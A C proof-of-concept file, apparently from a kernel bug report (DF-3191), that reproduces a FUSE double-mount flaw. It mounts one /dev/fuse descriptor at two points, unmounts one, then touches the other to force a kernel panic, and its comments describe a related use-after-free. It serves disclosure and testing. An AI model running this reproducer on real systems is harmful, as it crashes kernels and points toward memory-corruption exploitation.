/*
 * DF-3191 — fuse_mount() has no re-association guard: mounting the SAME
 * /dev/fuse file descriptor at two mount points shares ONE struct
 * fuse_mount.  The second fuse_mount() re-initializes live locks, TAILQs
 * and the RB node tree, overwrites fmp->rfnp with the second mount's root
 * node, and spawns a second helper thread.  The FIRST unmount then:
 *   - frees fmp->rfnp — which is now the SECOND mount's live root node
 *     (sys/vfs/fuse/fuse_vfsops.c:282-283),
 *   - drops the shared devvp/device,
 * leaving the second mount alive with fmp->rfnp == NULL.
 * The next VFS_ROOT on the surviving mount hits
 *   KASSERT(fmp->rfnp, ("no root node"))   (fuse_vfsops.c:372)
 * => guaranteed kernel panic on INVARIANTS kernels; NULL-deref otherwise.
 *
 * Additionally, with file activity on mount A, RB_INIT() at the second
 * mount (fuse_vfsops.c:183) orphans mount A's nodes; their later
 * fuse_node_free() → RB_REMOVE() splice (sys/sys/tree.h:585 — RB_REMOVE
 * never verifies membership and with parent==NULL overwrites the NEW
 * tree's root) corrupts mount B's node tree → UAF on every later walk.
 *
 * Build:  cc -O2 -Wall -o dm dm.c
 * Run (root, fuse.ko loaded):  ./dm
 * Expected: mount A ok, mount B ok (BUG), umount A ok, then
 *           panic: "no root node" when touching /mnt/dfb.
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/wait.h>
#include <sys/stat.h>

#define FUSE_KERNEL_VERSION       7
#define FUSE_KERNEL_MINOR_VERSION 28
#define FUSE_ROOT_ID              1

#define FUSE_DESTROY 38
#define FUSE_FORGET   2
#define FUSE_GETATTR  3
#define FUSE_INIT    26
#define FUSE_LOOKUP   1
#define FUSE_OPEN    14
#define FUSE_STATFS  17

struct fuse_in_header  { uint32_t len, opcode; uint64_t unique, nodeid; uint32_t uid, gid, pid, padding; };
struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; };
struct fuse_init_in    { uint32_t major, minor, max_readahead, flags; };
struct fuse_init_out   { uint32_t major, minor, max_readahead, flags; uint16_t max_background, congestion_threshold; uint32_t max_write, time_gran; uint16_t max_pages, padding; uint32_t unused[8]; };
struct fuse_attr       { uint64_t ino, size, blocks, atime, mtime, ctime; uint32_t atimensec, mtimensec, ctimensec, mode, nlink, uid, gid, rdev, blksize, padding; };
struct fuse_entry_out  { uint64_t nodeid, generation, entry_valid, attr_valid; uint32_t entry_valid_nsec, attr_valid_nsec; struct fuse_attr attr; };
struct fuse_attr_out   { uint64_t attr_valid; uint32_t attr_valid_nsec, dummy; struct fuse_attr attr; };
struct fuse_open_out   { uint64_t fh; uint32_t open_flags, padding; };
struct fuse_kstatfs    { uint64_t blocks, bfree, bavail, files, ffree; uint32_t bsize, namelen, frsize, padding; uint32_t spare[6]; };
struct fuse_statfs_out { struct fuse_kstatfs st; };

struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; };

static FILE *g_log;

static void dlog(const char *fmt, ...) {
    va_list ap; va_start(ap, fmt);
    fprintf(g_log, "[%d] ", (int)getpid());
    vfprintf(g_log, fmt, ap);
    va_end(ap);
    fflush(g_log);
    fflush(g_log);
}

static void send_reply(int fd, uint64_t unique, int32_t error,
                       const void *payload, size_t payload_len) {
    size_t actual = sizeof(struct fuse_out_header) + payload_len;
    uint8_t *out = calloc(1, actual);
    struct fuse_out_header *ohd = (struct fuse_out_header *)out;
    ohd->unique = unique;
    ohd->error  = error;
    ohd->len    = (uint32_t)actual;
    if (payload && payload_len)
        memcpy(out + sizeof(*ohd), payload, payload_len);
    if (write(fd, out, actual) < 0)
        dlog("reply write failed: %s\n", strerror(errno));
    free(out);
}

static void make_attr(struct fuse_attr *a, uint64_t ino) {
    memset(a, 0, sizeof(*a));
    a->ino  = ino;
    a->mode = (ino == FUSE_ROOT_ID) ? 0040755 : 0100644;
    a->nlink = (ino == FUSE_ROOT_ID) ? 2 : 1;
    a->size = 4096;
    a->blksize = 4096;
    a->blocks = 8;
}

/* parent: minimal daemon answering both mounts' INIT, STATFS, DESTROY */
static void daemon_loop(int fd) {
    dlog("daemon loop on fd %d\n", fd);
    for (;;) {
        uint8_t req[65536];
        struct fuse_in_header ihd;
        ssize_t n = read(fd, req, sizeof(req));
        if (n <= 0) { dlog("daemon read end: %s\n", strerror(errno)); return; }
        if ((size_t)n < sizeof(ihd)) continue;
        memcpy(&ihd, req, sizeof(ihd));
        dlog("REQ op=%u unique=%ju\n", ihd.opcode, (uintmax_t)ihd.unique);

        switch (ihd.opcode) {
        case FUSE_INIT: {
            struct fuse_init_out io;
            memset(&io, 0, sizeof(io));
            io.major = FUSE_KERNEL_VERSION;
            io.minor = FUSE_KERNEL_MINOR_VERSION;
            io.max_readahead = 4096;
            io.max_write = 1 << 20;
            io.max_pages = 256;
            send_reply(fd, ihd.unique, 0, &io, sizeof(io));
            break;
        }
        case FUSE_STATFS: {
            struct fuse_statfs_out so;
            memset(&so, 0, sizeof(so));
            so.st.blocks = 1 << 20; so.st.bfree = 1 << 19; so.st.bavail = 1 << 19;
            so.st.files = 1 << 16;  so.st.ffree = 1 << 15;
            so.st.bsize = 4096; so.st.frsize = 4096; so.st.namelen = 255;
            send_reply(fd, ihd.unique, 0, &so, sizeof(so));
            break;
        }
        case FUSE_LOOKUP: {
            struct fuse_entry_out eo;
            memset(&eo, 0, sizeof(eo));
            eo.nodeid = 1; eo.generation = 1;
            eo.entry_valid = 3600; eo.attr_valid = 3600;
            make_attr(&eo.attr, FUSE_ROOT_ID);
            send_reply(fd, ihd.unique, 0, &eo, sizeof(eo));
            break;
        }
        case FUSE_GETATTR: {
            struct fuse_attr_out ao;
            memset(&ao, 0, sizeof(ao));
            ao.attr_valid = 3600;
            make_attr(&ao.attr, ihd.nodeid);
            send_reply(fd, ihd.unique, 0, &ao, sizeof(ao));
            break;
        }
        case FUSE_OPEN: {
            struct fuse_open_out oo;
            memset(&oo, 0, sizeof(oo));
            oo.fh = 1;
            send_reply(fd, ihd.unique, 0, &oo, sizeof(oo));
            break;
        }
        case FUSE_DESTROY:
            dlog("FUSE_DESTROY -> ok\n");
            send_reply(fd, ihd.unique, 0, NULL, 0);
            break;
        case FUSE_FORGET:
            break;
        default:
            send_reply(fd, ihd.unique, -ENOSYS, NULL, 0);
            break;
        }
    }
}

static int do_mount(const char *dir, int fd) {
    struct fuse_mount_info args;
    memset(&args, 0, sizeof(args));
    args.fd   = fd;
    args.from = "/dev/fuse";
    args.max_read = 1 << 20;
    if (mount("fuse", dir, 0, &args) < 0) {
        dlog("mount(%s) FAILED: %s\n", dir, strerror(errno));
        return -1;
    }
    dlog("mount(%s) OK\n", dir);
    return 0;
}

int main(void) {
    int fd;
    pid_t pid;

    g_log = stdout;
    setvbuf(stdout, NULL, _IONBF, 0);

    mkdir("/mnt/dfa", 0755);
    mkdir("/mnt/dfb", 0755);

    fd = open("/dev/fuse", O_RDWR);
    if (fd < 0) { perror("open /dev/fuse"); return 1; }
    dlog("opened /dev/fuse fd=%d\n", fd);

    pid = fork();
    if (pid == 0) {
        /* child: mount both points with the SAME fd, umount A, touch B */
        sleep(1);
        if (do_mount("/mnt/dfa", fd) < 0) _exit(2);
        if (do_mount("/mnt/dfb", fd) < 0) { dlog("second mount refused (FIXED?)\n"); _exit(3); }
        dlog("*** double mount with same fd SUCCEEDED (bug present) ***\n");

        if (unmount("/mnt/dfa", 0) < 0) {
            dlog("umount /mnt/dfa failed: %s\n", strerror(errno));
            _exit(4);
        }
        dlog("umount /mnt/dfa OK — shared fmp torn down; /mnt/dfb root node freed\n");

        /* force VFS_ROOT on the surviving mount -> KASSERT(fmp->rfnp) */
        dlog("touching /mnt/dfb now (expect panic) ...\n");
        {
            struct stat st;
            if (stat("/mnt/dfb", &st) == 0)
                dlog("stat(/mnt/dfb) unexpectedly OK (no panic)\n");
            else
                dlog("stat(/mnt/dfb) error: %s\n", strerror(errno));
        }
        dlog("survived — bug did not trigger\n");
        _exit(5);
    }

    /* parent: daemon for the shared fd */
    daemon_loop(fd);
    waitpid(pid, NULL, 0);
    dlog("done\n");
    return 0;
}
